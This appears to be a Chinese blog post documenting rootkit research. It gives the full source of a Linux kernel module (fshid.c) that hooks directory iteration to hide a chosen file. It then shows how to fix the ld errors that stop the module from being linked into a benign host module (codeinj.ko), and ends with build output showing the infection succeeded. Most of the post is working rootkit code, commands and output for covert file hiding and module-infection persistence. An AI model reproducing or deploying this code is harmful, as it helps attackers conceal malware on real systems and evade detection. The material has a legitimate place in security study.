在研究novice大佬感染一个示例内核模块的时候,ld命令链接报错,先上大佬两个驱动文件
codeinj.c(宿主驱动模块)
# ifndef CPP
# include <linux/module.h>
# include <linux/kernel.h>
# endif // CPP
# include "zeroevil/zeroevil.h"
MODULE_LICENSE("GPL");
int
codeinj_init(void)
{
fm_alert("codeinj: %s\n", "Greetings the World!");
return 0;
}
void
codeinj_exit(void)
{
fm_alert("codeinj: %s\n", "Farewell the World!");
return;
}
module_init(codeinj_init);
module_exit(codeinj_exit);
fshid.c(恶意驱动模块,做文件隐藏,劫持codeinj模块)
# ifndef CPP
# include <linux/module.h>
# include <linux/kernel.h>
# include <linux/fs.h> // filp_open, filp_close.
# endif // CPP
# include "zeroevil/zeroevil.h"
MODULE_LICENSE("GPL");
# define ROOT_PATH "/"
# define SECRET_FILE "032416_525.mp4"
int
(*real_iterate)(struct file *filp, struct dir_context *ctx);
int
(*real_filldir)(struct dir_context *ctx,
const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type);
int
fake_iterate(struct file *filp, struct dir_context *ctx);
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type);
extern int
codeinj_init(void);
extern void
codeinj_exit(void);
int
fshid_init(void)
{
codeinj_init();
fm_alert("%s\n", "Greetings the World!");
set_file_op(iterate, ROOT_PATH, fake_iterate, real_iterate);
if (!real_iterate) {
return -ENOENT;
}
return 0;
}
void
fshid_exit(void)
{
codeinj_exit();
if (real_iterate) {
void *dummy;
set_file_op(iterate, ROOT_PATH, real_iterate, dummy);
}
fm_alert("%s\n", "Farewell the World!");
return;
}
/* module_init(fshid_init); */
/* module_exit(fshid_exit); */
int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
real_filldir = ctx->actor;
*(filldir_t *)&ctx->actor = fake_filldir;
return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
if (strcmp(name, SECRET_FILE) == 0) {
fm_alert("Hiding: %s", name);
return 0;
}
/* pr_cont("%s ", name); */
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
这个驱动主要做的就是隐藏test文件夹下的"032416_525.mp4"文件
在此之前先介绍ld命令,ld 命令是二进制工具集 GNU Binutils 的一员,是 GNU 链接器,用于将目标文件与库链接为可执行文件或库文件,-r,–relocatable 生成可重定位的输出(称为部分连接)。
分别make两个驱动之后,使用以下命令将编译出来的codeinjko和fshidko文件链接为infectied.ko。
ld -r codeinjko.ko fshid/fshidko.ko -o infected.ko
但是在链接过程中,这边报错了,报错如下:
curits@curits-virtual-machine:~/Desktop/research-rootkit-master/3-persistence/codeinj$ ld -r codeinjko.ko fshid/fshidko.ko -o infected.ko
fshid/fshidko.ko: In function `print_process_list':
(.text+0x3e0): multiple definition of `print_process_list'
codeinjko.ko:(.text+0x170): first defined here
fshid/fshidko.ko: In function `print_memory':
(.text+0xcf0): multiple definition of `print_memory'
codeinjko.ko:(.text+0xa80): first defined here
fshid/fshidko.ko: In function `cleanup_module':
(.text+0x1c0): multiple definition of `cleanup_module'
codeinjko.ko:(.text+0x30): first defined here
fshid/fshidko.ko: In function `get_sct_via_sys_close':
(.text+0x330): multiple definition of `get_sct_via_sys_close'
codeinjko.ko:(.text+0xc0): first defined here
fshid/fshidko.ko: In function `get_sct':
(.text+0x2f0): multiple definition of `get_sct'
codeinjko.ko:(.text+0x80): first defined here
fshid/fshidko.ko: In function `init_module':
(.text+0xa0): multiple definition of `init_module'
codeinjko.ko:(.text+0x0): first defined here
fshid/fshidko.ko: In function `get_lstar_sct':
(.text+0xa90): multiple definition of `get_lstar_sct'
codeinjko.ko:(.text+0x820): first defined here
fshid/fshidko.ko: In function `resume_inline_hook':
(.text+0xc00): multiple definition of `resume_inline_hook'
codeinjko.ko:(.text+0x990): first defined here
fshid/fshidko.ko: In function `set_lstar_sct':
(.text+0xac0): multiple definition of `set_lstar_sct'
codeinjko.ko:(.text+0x850): first defined here
fshid/fshidko.ko: In function `print_dents':
(.text+0x6a0): multiple definition of `print_dents'
codeinjko.ko:(.text+0x430): first defined here
fshid/fshidko.ko: In function `pause_inline_hook':
(.text+0xb90): multiple definition of `pause_inline_hook'
codeinjko.ko:(.text+0x920): first defined here
fshid/fshidko.ko: In function `disable_wp':
(.text+0x340): multiple definition of `disable_wp'
codeinjko.ko:(.text+0xd0): first defined here
fshid/fshidko.ko: In function `remove_dent64':
(.text+0x960): multiple definition of `remove_dent64'
codeinjko.ko:(.text+0x6f0): first defined here
fshid/fshidko.ko: In function `enable_wp':
(.text+0x390): multiple definition of `enable_wp'
codeinjko.ko:(.text+0x120): first defined here
fshid/fshidko.ko: In function `remove_dent':
(.text+0x880): multiple definition of `remove_dent'
codeinjko.ko:(.text+0x610): first defined here
fshid/fshidko.ko: In function `print_module_list':
(.text+0x580): multiple definition of `print_module_list'
codeinjko.ko:(.text+0x310): first defined here
fshid/fshidko.ko: In function `remove_inline_hook':
(.text+0x1020): multiple definition of `remove_inline_hook'
codeinjko.ko:(.text+0xdb0): first defined here
fshid/fshidko.ko: In function `phys_to_virt_kern':
(.text+0xb70): multiple definition of `phys_to_virt_kern'
codeinjko.ko:(.text+0x900): first defined here
fshid/fshidko.ko: In function `install_inline_hook':
(.text+0xea0): multiple definition of `install_inline_hook'
codeinjko.ko:(.text+0xc30): first defined here
fshid/fshidko.ko: In function `join_strings':
(.text+0xc70): multiple definition of `join_strings'
codeinjko.ko:(.text+0xa00): first defined here
fshid/fshidko.ko: In function `print_dents64':
(.text+0x790): multiple definition of `print_dents64'
codeinjko.ko:(.text+0x520): first defined here
fshid/fshidko.ko: In function `get_lstar_sct_addr':
(.text+0xa40): multiple definition of `get_lstar_sct_addr'
codeinjko.ko:(.text+0x7d0): first defined here
fshid/fshidko.ko: In function `print_ascii':
(.text+0x10e0): multiple definition of `print_ascii'
意思就是说,两个ko文件对以上函数都进行了定义,重复定义,因为两个ko文件在编译的时候都包含了头文件
# include "zeroevil/zeroevil.h"
这边的解决办法是修改宿主.c文件,不包含zoroevil.h这个文件就可以了,代码修改如下所示
codeinj.c
//# ifndef CPP
# include <linux/module.h>
# include <linux/kernel.h>
//# endif // CPP
//# include "zeroevil/zeroevil.h"
MODULE_LICENSE("GPL");
int
codeinj_init(void)
{
//只需要简单打印信息就可以
printk("Greetings the World!");
return 0;
}
void
codeinj_exit(void)
{
printk("Farewell the World!");
return;
}
module_init(codeinj_init);
module_exit(codeinj_exit);
Makefile:
CONFIG_MODULE_SIG=n
ifeq ($(KERNELRELEASE),)
ROOTS_DIR = /root/
#内核源码路径,不同环境可能会不一样,内核源码一定要先编译
KERNEL_DIR = /lib/modules/$(shell uname -r)/build
CUR_DIR = $(shell pwd)
all:
make -C $(KERNEL_DIR) M=$(CUR_DIR) modules
clean :
make -C $(KERNEL_DIR) M=$(CUR_DIR) clean
else
#用于指定到底编译的是哪个代码--hello.c
obj-m += codeinj.o
endif
成功编译后,再执行ld命令不再报错,fshid 感染到codeinj.ko成功
curtis@curtis-virtual-machine:~/Desktop/research-rootkit-master/3-persistence/codeinj$ ./infect.sh
WARNING: "codeinj_exit" [/home/curtis/Desktop/research-rootkit-master/3-persistence/codeinj/fshid/fshidko.ko] undefined!
WARNING: "codeinj_init" [/home/curtis/Desktop/research-rootkit-master/3-persistence/codeinj/fshid/fshidko.ko] undefined!
57: 0000000000000020 25 FUNC GLOBAL DEFAULT 2 cleanup_module
63: 0000000000000000 27 FUNC GLOBAL DEFAULT 2 init_module
85: 0000000000000220 280 FUNC GLOBAL DEFAULT 2 fshid_exit
97: 00000000000000f0 295 FUNC GLOBAL DEFAULT 2 fshid_init
Writing complete.
Writing complete.
57: 0000000000000220 25 FUNC GLOBAL DEFAULT 2 cleanup_module
63: 00000000000000f0 27 FUNC GLOBAL DEFAULT 2 init_module
85: 0000000000000220 280 FUNC GLOBAL DEFAULT 2 fshid_exit
97: 00000000000000f0 295 FUNC GLOBAL DEFAULT 2 fshid_init